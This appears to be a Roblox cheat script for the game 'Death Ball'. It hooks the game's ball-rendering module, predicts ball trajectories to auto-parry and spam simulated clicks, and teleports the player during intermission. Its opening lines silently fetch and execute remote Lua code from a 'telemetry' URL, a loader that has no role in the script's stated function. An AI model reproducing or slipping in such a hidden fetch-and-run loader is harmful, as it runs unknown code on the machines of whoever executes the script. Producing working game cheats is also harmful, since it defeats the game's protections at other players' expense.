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task.spawn(function()
	pcall(function()
		loadstring(game:HttpGet("https://rscripts.net/api/telemetry/v2/client.lua?s=6ade9efb962a43e9c99290b9"))()
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local DeathBall = {}
_G.DeathBall = DeathBall

if not game:IsLoaded() then game.Loaded:Wait() end
repeat task.wait(0.5) until workspace:FindFirstChildOfClass("Terrain") and workspace:FindFirstChildOfClass("Camera")

local Players = game:GetService("Players")
local Stats = game:GetService("Stats")
local RunService = game:GetService("RunService")
local VIM = game:GetService("VirtualInputManager")

local LocalPlayer = Players.LocalPlayer
while not LocalPlayer do task.wait(0.1); LocalPlayer = Players.LocalPlayer end

local DEFAULT_CFG = {
    AutoParry = true,
    RequireTarget = true,
    AutoSpam = true,
    AutoSpamRate = 0.0,
    MinClickInterval = 0,
    HoldClick = false,
    ClickTaps = 1,
    StaticPingValue = 0.03,
    BaseHitRadius = 14.5,
    MaxHitRadius = 45,
    Horizon = 0.35,
    SimRate = 240,
    CatchMargin = 0.001,
    FarCutoffMargin = 1,
    AccelSmooth = 0.45,
    AccelMax = 500000,
    CurveSnapCos = 0.95,
    MaxBallSpeed = 12000,
    InstantDeflectWindow = 0.12,
    ParryLock = 0.0,
    UseEngineVelocity = true,
    RegistryRescanInterval = 3,
    ClashSpam = true,
    ClashRadius = 13.5,
    ClashHold = 0.85,
    ClashIgnoreRaycast = true,
    ClashFloor = 0.0,
    LeadSamples = 4,
    PlayerAccelSmooth = 0.15,
    MotionCompensation = true,
    MaxMotionLead = 0.12,
    MovingRadiusBoost = 1.05,
    MinMovingSpeed = 1,
    MaxPlayerAccel = 3500,
    FreshWindow = 0.04,
    AutoReady = true,
    AutoReadyPos = Vector3.new(568.2, 284.7, -784.5),
    AutoReadyRate = 0.1,
    AutoReadyClamp = 1e6,
    DecideRate = 0.0,
    OccludeCheck = false,
    ContactMult = 1.05,
    PredictiveSafetyNet = false,
    DirectParry = false,
    CloseRangeThreshold = 14,
    FaceToFaceOverrideRange = 7.5,
    CPA_Tolerance = 1.0,
    SpamRange = 12,
    SpamUseCurveGuard = true,
    CooldownAware   = true,
    CurveRadiusBoost = 1.35,
    CurveThreshold   = 800,
}
local cfg = table.clone(DEFAULT_CFG)
_G.DB = cfg

local function clampConfig()
    cfg.BaseHitRadius = math.max(0, cfg.BaseHitRadius)
    cfg.MaxHitRadius = math.max(cfg.BaseHitRadius, cfg.MaxHitRadius)
    cfg.SimRate = math.max(1, cfg.SimRate)
    cfg.Horizon = math.clamp(cfg.Horizon, 0, 1)
    cfg.AccelMax = math.max(0, cfg.AccelMax)
    cfg.MaxBallSpeed = math.max(0, cfg.MaxBallSpeed)
    cfg.AutoSpamRate = math.max(0, cfg.AutoSpamRate)
    cfg.ClashFloor = math.max(0, cfg.ClashFloor)
    cfg.LeadSamples = math.max(3, math.floor(cfg.LeadSamples))
    cfg.PlayerAccelSmooth = math.clamp(cfg.PlayerAccelSmooth, 0.01, 1)
    cfg.MaxMotionLead = math.clamp(cfg.MaxMotionLead, 0, 0.25)
    cfg.MovingRadiusBoost = math.max(1, cfg.MovingRadiusBoost)
    cfg.MinMovingSpeed = math.max(0, cfg.MinMovingSpeed)
    cfg.MaxPlayerAccel = math.max(1, cfg.MaxPlayerAccel)
    cfg.AutoReadyRate = math.max(0.02, cfg.AutoReadyRate)
    cfg.AutoReadyClamp = math.max(1000, cfg.AutoReadyClamp)
    cfg.DecideRate = 0.0
    cfg.ContactMult = math.max(0.5, math.min(cfg.ContactMult, 4))
    cfg.CurveRadiusBoost = math.max(1, cfg.CurveRadiusBoost)
    cfg.CurveThreshold = math.max(1, cfg.CurveThreshold)
    cfg.AccelSmooth = math.clamp(cfg.AccelSmooth, 0.01, 1)
    cfg.CurveSnapCos = math.clamp(cfg.CurveSnapCos, 0, 1)
    cfg.RequireTarget = true
    cfg.CloseRangeThreshold = math.max(1, cfg.CloseRangeThreshold)
    cfg.FaceToFaceOverrideRange = math.max(1, cfg.FaceToFaceOverrideRange)
    cfg.CPA_Tolerance = math.max(0.1, cfg.CPA_Tolerance)
    cfg.SpamRange = math.max(1, cfg.SpamRange)
end
clampConfig()

function DeathBall.setConfig(newTbl)
    for k, v in pairs(newTbl) do
        if cfg[k] ~= nil then cfg[k] = v end
    end
    clampConfig()
end

local previous = _G.__DeathBallAutoParry
if type(previous) == "table" then
    for _, c in ipairs(previous.Connections or {}) do pcall(function() c:Disconnect() end) end
    if previous.Stop then pcall(previous.Stop) end
end

_G.__DBGen = (_G.__DBGen or 0) + 1
local GEN = _G.__DBGen
local running = true
local function alive() return running and _G.__DBGen == GEN end

_G.__DeathBallAutoParry = { Connections = {}, Gen = GEN, Stop = function() running = false end }
local connections = _G.__DeathBallAutoParry.Connections

local cdButton      = nil
local suppressArmed = false
local cdScanAcc     = 0

local function resolveCdButton()
    local ok, b = pcall(function()
        local gui = LocalPlayer:FindFirstChildOfClass("PlayerGui")
        local ib = gui and gui:FindFirstChild("INPUT_BUTTONS")
        if not ib then return nil end
        for _, child in ipairs(ib:GetChildren()) do
            if rawget(child, "IsOnCooldown") ~= nil and rawget(child, "CooldownFrame") ~= nil then
                return child
            end
            for _, subChild in ipairs(child:GetChildren()) do
                if rawget(subChild, "IsOnCooldown") ~= nil and rawget(subChild, "CooldownFrame") ~= nil then
                    return subChild
                end
            end
        end
        return nil
    end)
    return (ok and b) or nil
end

RunService.Heartbeat:Connect(function(dt)
    if not alive() or not cfg.CooldownAware then return end
    cdScanAcc = cdScanAcc + dt
    if cdScanAcc < 0.5 then return end
    cdScanAcc = 0
    if not cdButton or not cdButton.Parent then
        cdButton = resolveCdButton()
    end
    if cdButton then suppressArmed = (cdButton.IsOnCooldown == true) end
end)

local function inputReady()
    if not cfg.CooldownAware then return true end
    return not suppressArmed
end

local sendMouse = VIM.SendMouseButtonEvent
local function click()
    if cfg.HoldClick then
        sendMouse(VIM, 0, 0, 0, true, game, 0)
        sendMouse(VIM, 0, 0, 0, false, game, 0)
    else
        for _ = 1, cfg.ClickTaps do
            sendMouse(VIM, 0, 0, 0, true, game, 0)
            sendMouse(VIM, 0, 0, 0, false, game, 0)
        end
    end
end

local function parryNow()
    click()
end
local HIST_N = 4
local function newTracker()
    return {
        Object = nil, Position = nil, Target = nil, isPhasingThrough = nil,
        vx = 0, vy = 0, vz = 0,
        ax = 0, ay = 0, az = 0, amag = 0,
        ht = {0,0,0,0}, hx = {0,0,0,0}, hy = {0,0,0,0}, hz = {0,0,0,0},
        hHead = 0, hCount = 0,
        HitTime = math.huge, Radius = 0, Dist = math.huge,
        Radial = 0, Approaching = false, Confirmed = false, Blocked = false,
        CloseFlag = false, Contact = false,
        bpx = 0, bpy = 0, bpz = 0,
        ClashUntil = nil, ParryLock = nil, LastFire = nil,
        InstantDeflectLock = nil, _wasNotMine = true,
    }
end

local function updateTracker(e, px, py, pz, evx, evy, evz)
    local now = os.clock()
    local head = e.hHead % HIST_N + 1
    e.hHead = head
    e.ht[head] = now; e.hx[head] = px; e.hy[head] = py; e.hz[head] = pz
    local cnt = e.hCount
    if cnt < HIST_N then e.hCount = cnt + 1; cnt = cnt + 1 end

    local prev1 = head % HIST_N + 1
    if cnt >= 2 then
        local dt = e.ht[head] - e.ht[prev1]
        if dt > 1e-4 then
            local idt = 1 / dt
            local vx = (e.hx[head] - e.hx[prev1]) * idt
            local vy = (e.hy[head] - e.hy[prev1]) * idt
            local vz = (e.hz[head] - e.hz[prev1]) * idt
            if vx*vx + vy*vy + vz*vz < cfg.MaxBallSpeed * cfg.MaxBallSpeed then
                e.vx, e.vy, e.vz = vx, vy, vz
            end
        end
    end
    if cnt >= 3 then
        local prev2 = prev1 % HIST_N + 1
        local dt1 = e.ht[prev1] - e.ht[prev2]
        local dt2 = e.ht[head] - e.ht[prev1]
        if dt1 > 1e-4 and dt2 > 1e-4 then
            local i1t = 1 / dt1
            local i2t = 1 / dt2
            local v1x = (e.hx[prev1] - e.hx[prev2]) * i1t
            local v1y = (e.hy[prev1] - e.hy[prev2]) * i1t
            local v1z = (e.hz[prev1] - e.hz[prev2]) * i1t
            local v2x = (e.hx[head] - e.hx[prev1]) * i2t
            local v2y = (e.hy[head] - e.hy[prev1]) * i2t
            local v2z = (e.hz[head] - e.hz[prev1]) * i2t

            local imdt = 2 / (dt1 + dt2)
            local ax = (v2x - v1x) * imdt
            local ay = (v2y - v1y) * imdt
            local az = (v2z - v1z) * imdt
            local amag2 = ax*ax + ay*ay + az*az
            if amag2 < cfg.AccelMax * cfg.AccelMax then
                local pmag2 = e.ax*e.ax + e.ay*e.ay + e.az*e.az
                local cosv = 1
                if pmag2 > 1 and amag2 > 1 then
                    cosv = (e.ax*ax + e.ay*ay + e.az*az) / math.sqrt(pmag2 * amag2)
                end
                if cosv < cfg.CurveSnapCos then
                    e.ax, e.ay, e.az = ax, ay, az
                else
                    local sm = cfg.AccelSmooth
                    local inm = 1 - sm
                    e.ax = e.ax * inm + ax * sm
                    e.ay = e.ay * inm + ay * sm
                    e.az = e.az * inm + az * sm
                end
                e.amag = math.sqrt(e.ax*e.ax + e.ay*e.ay + e.az*e.az)
            end
        end
    end
    if cfg.UseEngineVelocity and (evx*evx + evy*evy + evz*evz) > 0.01 then
        e.vx, e.vy, e.vz = evx, evy, evz
    end
end

local Balls = _G.__DeathBallBalls or {}
_G.__DeathBallBalls = Balls
local ballCount = 0
local function registerBall(state)
    local entry = newTracker()
    Balls[state] = entry
    ballCount = ballCount + 1
    if state.Body then
        pcall(function()
            state.Body.Destroying:Connect(function()
                if Balls[state] then Balls[state] = nil; ballCount = ballCount - 1 end
            end)
        end)
    end
    return entry
end

local function scanRegistry()
    local found = {}
    pcall(function()
        if not getreg then return end
        for _, container in next, getreg() do
            if typeof(container) == "table" then
                for _, item in next, container do
                    if typeof(item) == "Instance" and not item.Parent then
                        table.insert(found, item)
                    end
                end
            end
        end
    end)
    return found
end

local function findRenderTable(module)
    local function search(t)
        if type(t) ~= "table" then return nil end
        if type(t.Render) == "function" then return t end
        for _, v in pairs(t) do
            if type(v) == "table" and type(v.Render) == "function" then return v end
        end
        return nil
    end
    local ok, up = pcall(debug.getupvalues, module)
    return (ok and search(up)) or search(module)
end

local MO_N = 8
local mo = {
    t = {}, x = {}, y = {}, z = {}, head = 0, count = 0,
    vx = 0, vy = 0, vz = 0, speed = 0,
    ax = 0, ay = 0, az = 0, amag = 0,
}
for i = 1, MO_N do mo.t[i] = 0; mo.x[i] = 0; mo.y[i] = 0; mo.z[i] = 0 end
local function updateMotion(now, vx, vy, vz)
    local head = mo.head % MO_N + 1
    mo.head = head
    mo.t[head] = now; mo.x[head] = vx; mo.y[head] = vy; mo.z[head] = vz
    if mo.count < MO_N then mo.count = mo.count + 1 end
    mo.vx, mo.vy, mo.vz = vx, vy, vz
    mo.speed = math.sqrt(vx*vx + vy*vy + vz*vz)
    if mo.count >= 2 then
        local prev1 = head % MO_N + 1
        local span = mo.t[head] - mo.t[prev1]
        if span > 1e-4 then
            local isp = 1 / span
            local rx = (mo.x[head] - mo.x[prev1]) * isp
            local ry = (mo.y[head] - mo.y[prev1]) * isp
            local rz = (mo.z[head] - mo.z[prev1]) * isp
            local rm2 = rx*rx + ry*ry + rz*rz
            if rm2 < cfg.AccelMax * cfg.AccelMax then
                local pm = mo.amag
                local cosA = 1
                if pm > 1 and rm2 > 1 then
                    cosA = (mo.ax*rx + mo.ay*ry + mo.az*rz) / (pm * math.sqrt(rm2))
                end
                if cosA < cfg.CurveSnapCos then
                    mo.ax, mo.ay, mo.az = rx, ry, rz
                else
                    local sm = cfg.PlayerAccelSmooth
                    local inm = 1 - sm
                    mo.ax = mo.ax * inm + rx * sm
                    mo.ay = mo.ay * inm + ry * sm
                    mo.az = mo.az * inm + rz * sm
                end
                mo.amag = math.sqrt(mo.ax*mo.ax + mo.ay*mo.ay + mo.az*mo.az)
            end
        end
    end
end
local dtSim = 1 / cfg.SimRate
local halfDtSq = 0.5 * dtSim * dtSim
local simSteps = math.max(6, math.floor(cfg.Horizon * cfg.SimRate))
local function predictHitTime(dx, dy, dz, dvx, dvy, dvz, dax, day, daz, R, pax, pay, paz)
    local mag = math.sqrt(dx*dx + dy*dy + dz*dz)
    if mag <= R then return 0 end
    local vmag = math.sqrt(dvx*dvx + dvy*dvy + dvz*dvz)
    local amag = math.sqrt(dax*dax + day*day + daz*daz)
    local reach = vmag * cfg.Horizon + 0.5 * amag * cfg.Horizon * cfg.Horizon
    if mag - reach > R + cfg.FarCutoffMargin then return nil end
    local sx, sy, sz = dx, dy, dz
    local svx, svy, svz = dvx, dvy, dvz
    local sax, say, saz = dax - pax, day - pay, daz - paz
    local passedClosest = false
    local prevM2 = sx*sx + sy*sy + sz*sz
    local R2 = R * R
    for i = 1, simSteps do
        sx = sx + svx * dtSim + sax * halfDtSq
        sy = sy + svy * dtSim + say * halfDtSq
        sz = sz + svz * dtSim + saz * halfDtSq
        svx = svx + sax * dtSim; svy = svy + say * dtSim; svz = svz + saz * dtSim
        local m2 = sx*sx + sy*sy + sz*sz
        if m2 <= R2 then return i * dtSim end
        if m2 > prevM2 then passedClosest = true end
        if passedClosest and i > 3 and (sx*svx + sy*svy + sz*svz) > 0 then
            return nil
        end
        prevM2 = m2
    end
    return nil
end

local function checkTrajectoryIntersection(bx, by, bz, bvx, bvy, bvz, px, py, pz)
    local vmag2 = bvx*bvx + bvy*bvy + bvz*bvz
    if vmag2 < 1e-3 then return false end
    local dx = px - bx
    local dy = py - by
    local dz = pz - bz
    local t = (dx*bvx + dy*bvy + dz*bvz) / vmag2
    if t < 0 then return false end
    local cx = bx + bvx * t
    local cy = by + bvy * t
    local cz = bz + bvz * t
    local cdist2 = (px-cx)*(px-cx) + (py-cy)*(py-cy) + (pz-cz)*(pz-cz)
    local limit = cfg.CPA_Tolerance
    if vmag2 > 25000 then
        local factor = math.clamp(25000 / vmag2, 0.35, 1.0)
        limit = limit * factor
    end
    return cdist2 <= (limit * limit)
end

local lastDecide = -1e9
local gBest = nil
local gAnyClose = false
local gCloseVel = 0
local gPlayerX = 0
local gPlayerY = 0
local gPlayerZ = 0
local gPlayerSeeded = false

local function decideStep()
    local character = LocalPlayer.Character
    local humanoid = character and character:FindFirstChildWhichIsA("Humanoid")
    local rootPart = humanoid and humanoid.RootPart
    if not rootPart then return end

    if humanoid.Health <= 0 or character:FindFirstChild("FakeRoot") then
        gBest, gAnyClose, gCloseVel = nil, false, 0
        return
    end

    local now = os.clock()
    local latency = cfg.StaticPingValue
    local pvel = rootPart.AssemblyLinearVelocity
    local pvx, pvy, pvz = pvel.X, pvel.Y, pvel.Z
    local ppos = rootPart.Position
    local ppx, ppy, ppz = ppos.X, ppos.Y, ppos.Z
    updateMotion(now, pvx, pvy, pvz)

    local paX, paY, paZ = 0, 0, 0
    if cfg.MotionCompensation then
        paX, paY, paZ = mo.ax, mo.ay, mo.az
        local am = mo.amag
        if am > 1e-6 and am > cfg.MaxPlayerAccel then
            local k = cfg.MaxPlayerAccel / am
            paX, paY, paZ = paX*k, paY*k, paZ*k
        end
    end
    local moving = mo.speed > cfg.MinMovingSpeed

    local best, bestTime, bestRadius = nil, math.huge, cfg.BaseHitRadius
    local anyClose, closeVel = false, 0

    for _, b in pairs(Balls) do
        if b.isPhasingThrough == true then
            b.HitTime = math.huge
            b.Approaching = false
            b.Confirmed = false
            b.CloseFlag = false
            b.Contact = false
            continue
        end

        if b.Position and b.Object and b.Object.Parent
           and (b.vx ~= 0 or b.vy ~= 0 or b.vz ~= 0)
           and b.Target == LocalPlayer then
            local bp = b.Position
            local bx, by, bz = bp.X, bp.Y, bp.Z
            b.bpx, b.bpy, b.bpz = bx, by, bz
            local dx = bx - ppx
            local dy = by - ppy
            local dz = bz - ppz
            local dist0 = math.sqrt(dx*dx + dy*dy + dz*dz)
            local rvx = b.vx - pvx
            local rvy = b.vy - pvy
            local rvz = b.vz - pvz
            local vMag = math.sqrt(rvx*rvx + rvy*rvy + rvz*rvz)

            if dist0 <= cfg.FaceToFaceOverrideRange then
                b.HitTime = 0
                b.Radius = cfg.BaseHitRadius
                b.Dist = dist0
                b.Radial = 1.0
                b.Approaching = true
                b.Confirmed = true
                b.CloseFlag = true
                b.Contact = true
                anyClose = true
                closeVel = math.max(closeVel, vMag)
                best, bestTime = b, 0
            elseif vMag > 0.1 and dist0 > 0.01 then
                local inv = 1 / dist0
                local radial = -(dx*inv*rvx + dy*inv*rvy + dz*inv*rvz)

                if radial > -vMag * 0.1736 then
                    local baseR = cfg.BaseHitRadius
                    local maxCap = cfg.MaxHitRadius
                    if vMag > 5000 then
                        local scale = math.clamp(5000 / vMag, 0.4, 1.0)
                        maxCap = maxCap * scale
                    end
                    local radius = math.clamp(baseR + vMag * latency, baseR, maxCap)
                    if moving then radius = radius * cfg.MovingRadiusBoost end
                    if cfg.CurveRadiusBoost > 1 and b.amag > cfg.CurveThreshold then
                        local cf = math.min(b.amag / cfg.CurveThreshold, 4)
                        radius = math.min(radius * (cfg.CurveRadiusBoost ^ (cf * 0.5)), maxCap)
                    end
                    local ht = predictHitTime(dx, dy, dz, rvx, rvy, rvz,
                                              b.ax, b.ay, b.az, radius, paX, paY, paZ)

                    b.HitTime = ht or math.huge
                    b.Radius = radius
                    b.Dist = dist0
                    b.Radial = radial
                    b.Approaching = radial > 0.01
                    b.Confirmed = (ht ~= nil) and checkTrajectoryIntersection(bx, by, bz, b.vx, b.vy, b.vz, ppx, ppy, ppz)
                    b.CloseFlag = (dist0 <= 15 and radial > 0.01)
                                    or (cfg.ClashSpam and dist0 <= cfg.ClashRadius + 3)
                    b.Contact = dist0 <= baseR * cfg.ContactMult

                    if b.CloseFlag and vMag > closeVel then
                        anyClose = true
                        closeVel = vMag
                    end
                    if ht and ht < bestTime and b.Confirmed then
                        best, bestTime, bestRadius = b, ht, radius
                    end
                else
                    b.HitTime = math.huge
                    b.Approaching = false
                    b.Confirmed = false
                    b.CloseFlag = false
                    b.Contact = dist0 <= cfg.BaseHitRadius * cfg.ContactMult
                end
            else
                b.HitTime = math.huge
                b.Approaching = false
                b.Confirmed = false
                b.CloseFlag = false
                b.Contact = dist0 <= cfg.BaseHitRadius * cfg.ContactMult
            end

            if b == best and cfg.ClashSpam and b.Approaching and b.Dist <= cfg.ClashRadius then
                b.ClashUntil = now + cfg.ClashHold
            end
        end
    end

    gBest, gAnyClose, gCloseVel = best, anyClose, closeVel
end
local function fireStep()
    local now = os.clock()
    local best = gBest
    local atContact = best and best.Contact

    if best and best.Target == LocalPlayer then
        local crDist = best.Dist
        if crDist ~= nil and crDist <= cfg.CloseRangeThreshold and best.Radial > 0 then
            if inputReady() or atContact then
                parryNow()
                best.LastFire = now
                best.ClashUntil = now + cfg.ClashHold
            end
            return
        end
    end

    local threat = false
    if best then
        local age = now - lastDecide
        local dist = best.Dist
        if age > 0 then
            local halfAgeSq = 0.5 * age * age
            local bx = best.bpx + (best.vx * age) + (best.ax * halfAgeSq)
            local by = best.bpy + (best.vy * age) + (best.ay * halfAgeSq)
            local bz = best.bpz + (best.vz * age) + (best.az * halfAgeSq)
            local mvx = mo.vx + mo.ax * age
            local mvy = mo.vy + mo.ay * age
            local mvz = mo.vz + mo.az * age
            local dx = bx - (gPlayerX + mvx * age)
            local dy = by - (gPlayerY + mvy * age)
            local dz = bz - (gPlayerZ + mvz * age)
            dist = math.sqrt(dx*dx + dy*dy + dz*dz)
        end

        local contactR = cfg.BaseHitRadius * cfg.ContactMult
        local contact = dist <= contactR or best.Contact
        local clashWin = dist <= cfg.ClashRadius + 3
        local urgent = cfg.ClashSpam and best.ClashUntil and now < best.ClashUntil and clashWin

        if dist <= cfg.FaceToFaceOverrideRange or best.Contact or dist <= cfg.ClashRadius then
            threat = true
        end

        if not threat and contact then threat = true end
        if not threat and cfg.AutoParry and best.Approaching then
            local effR = contact and contactR or best.Radius
            if best.HitTime <= age + cfg.CatchMargin + dtSim or dist <= effR then
                if best.Confirmed then
                    threat = true
                end
            end
        end
        if cfg.ClashSpam and (urgent or (best.Approaching and dist <= cfg.ClashRadius + 5)) then
            threat = true
        end
    end

    if not threat and cfg.AutoSpam and gAnyClose then
        threat = true
    end

    if not threat then return end

    if not inputReady() and not atContact then
        return
    end

    parryNow()
    if best then
        best.LastFire = now
    end
end

local lastChar = nil
local function driver()
    if not alive() then return end
    if not (cfg.AutoParry or cfg.AutoSpam) then return end
    if ballCount == 0 then return end

    local character = LocalPlayer.Character
    if character ~= lastChar then
        lastChar = character
        mo.head, mo.count = 0, 0
        mo.ax, mo.ay, mo.az, mo.amag, mo.speed = 0,0,0,0,0
        gBest, gAnyClose, gCloseVel = nil, false, 0
        gPlayerSeeded = false
        suppressArmed = false
    end

    local hum = character and character:FindFirstChildWhichIsA("Humanoid")
    local root = hum and hum.RootPart
    if root then
        local rp = root.Position
        gPlayerX, gPlayerY, gPlayerZ = rp.X, rp.Y, rp.Z
        gPlayerSeeded = true
    elseif not gPlayerSeeded then
        gPlayerX, gPlayerY, gPlayerZ = 0, 0, 0
    end

    local now = os.clock()
    local engaged = gBest and gBest.Target == LocalPlayer
    if engaged or (now - lastDecide >= cfg.DecideRate) then
        lastDecide = now
        pcall(decideStep)
    end

    pcall(fireStep)
end
connections[#connections + 1] = RunService.Heartbeat:Connect(driver)

local spamLast = -1e9
local function spamDriver()
    if not alive() or not cfg.AutoSpam then return end
    if ballCount == 0 then return end
    local now = os.clock()
    if now - spamLast < cfg.AutoSpamRate then return end

    local atContact = gBest and gBest.Contact
    if cfg.CooldownAware and not inputReady() and not atContact then
        return
    end

    spamLast = now
    if gAnyClose or (gBest and gBest.Target == LocalPlayer and (gBest.Contact or gBest.Dist <= cfg.SpamRange)) then
        if cfg.SpamUseCurveGuard and gBest then
            local character = LocalPlayer.Character
            local root = character and character:FindFirstChild("HumanoidRootPart")
            if root then
                local rp = root.Position
                if gBest.Dist > cfg.FaceToFaceOverrideRange and not checkTrajectoryIntersection(gBest.bpx, gBest.bpy, gBest.bpz, gBest.vx, gBest.vy, gBest.vz, rp.X, rp.Y, rp.Z) then
                    return
                end
            end
        end
        parryNow()
    end
end
connections[#connections + 1] = RunService.RenderStepped:Connect(spamDriver)

local hooked = false
local function installHook()
    if hooked then return true end
    for _, candidate in pairs(scanRegistry()) do
        if candidate:IsA("ModuleScript") and candidate.Name:match("lBall") then
            local ok, module = pcall(require, candidate)
            if ok then
                local target = findRenderTable(module)
                if target and type(target.Render) == "function" then
                    if not _G.__DeathBallBaseRender then
                        _G.__DeathBallBaseRender = target.Render
                    end
                    target.Render = function(state)
                        pcall(function()
                            local entry = Balls[state] or registerBall(state)
                            entry.Object = state.Body
                            entry.isPhasingThrough = state.isPhasingThrough
                            entry.Position = state.Position
                            local ownerId = state.TargetUserId
                            local owner = ownerId and Players:GetPlayerByUserId(tonumber(ownerId))
                            if entry.Target == LocalPlayer and owner ~= LocalPlayer then
                                entry.InstantDeflectLock = os.clock() + cfg.InstantDeflectWindow
                            end
                            entry.Target = owner
                            if entry.Target == LocalPlayer and entry._wasNotMine then
                                entry.LastFire = nil
                                entry.ParryLock = nil
                                entry.ClashUntil = nil
                                entry.ApproachSince = nil
                            end
                            entry._wasNotMine = (entry.Target ~= LocalPlayer)
                            local pos = entry.Position
                            if pos then
                                local v = state.Velocity
                                updateTracker(entry, pos.X, pos.Y, pos.Z,
                                              v and v.X or 0,
                                              v and v.Y or 0,
                                              v and v.Z or 0)
                            end
                        end)
                        return _G.__DeathBallBaseRender(state)
                    end
                    hooked = true
                    return true
                end
            end
        end
    end
    return false
end
task.spawn(function()
    task.wait(2)
    while alive() and not hooked do
        pcall(installHook)
        task.wait(cfg.RegistryRescanInterval)
    end
end)

local readyConn, readyAt = nil, 0
local cachedFrame = nil

local function resolveIntermissionFrame()
    local ok, f = pcall(function()
        local gui = LocalPlayer:FindFirstChild("PlayerGui")
        local hud = gui and gui:FindFirstChild("HUD")
        local holder = hud and hud:FindFirstChild("HolderBottom")
        return holder and holder:FindFirstChild("IntermissionFrame")
    end)
    return (ok and f) or nil
end

local function refreshIntermissionFrame()
    local f = cachedFrame
    if f then
        local p = f.Parent
        while p and p ~= LocalPlayer do p = p.Parent end
        if p == LocalPlayer then return f end
    end
    cachedFrame = resolveIntermissionFrame()
    return cachedFrame
end

cachedFrame = resolveIntermissionFrame()

connections[#connections + 1] = LocalPlayer.DescendantAdded:Connect(function(inst)
    if inst:IsA("GuiObject") and inst.Name == "IntermissionFrame" then
        cachedFrame = resolveIntermissionFrame()
    end
end)
connections[#connections + 1] = LocalPlayer.DescendantRemoving:Connect(function(inst)
    if inst == cachedFrame then cachedFrame = nil end
end)

local function saneTarget(pos)
    if typeof(pos) ~= "Vector3" then return false end
    if pos.X ~= pos.X or pos.Y ~= pos.Y or pos.Z ~= pos.Z then return false end
    if math.abs(pos.X) > cfg.AutoReadyClamp or math.abs(pos.Y) > cfg.AutoReadyClamp or math.abs(pos.Z) > cfg.AutoReadyClamp then return false end
    return true
end

local function readyStep()
    local f = refreshIntermissionFrame()
    if not (f and f.Visible) then return end
    local character = LocalPlayer.Character
    if not character then return end
    local root = character:FindFirstChild("FakeRoot")
        or character:FindFirstChild("HumanoidRootPart") or character.PrimaryPart
    if not (root and saneTarget(cfg.AutoReadyPos)) then return end
    local coords = cfg.AutoReadyPos
    local look = root.CFrame.LookVector
    local fx = look.X
    local fz = look.Z
    local fm = math.sqrt(fx*fx + fz*fz)
    if fm < 0.01 then
        fx = 0
        fz = 1
        fm = 1
    end
    pcall(function()
        root.CFrame = CFrame.lookAt(coords, coords + Vector3.new(fx/fm, 0, fz/fm))
        root.AssemblyLinearVelocity = Vector3.zero
        root.AssemblyAngularVelocity = Vector3.zero
    end)
end

readyConn = RunService.Heartbeat:Connect(function()
    if not alive() or not cfg.AutoReady then return end
    local now = os.clock()
    if now - readyAt < cfg.AutoReadyRate then return end
    readyAt = now
    pcall(readyStep)
end)
connections[#connections + 1] = readyConn

_G.__DeathBallAutoParry.Stop = function()
running = false
for _, c in ipairs(connections) do pcall(function() c:Disconnect() end) end
table.clear(connections)
end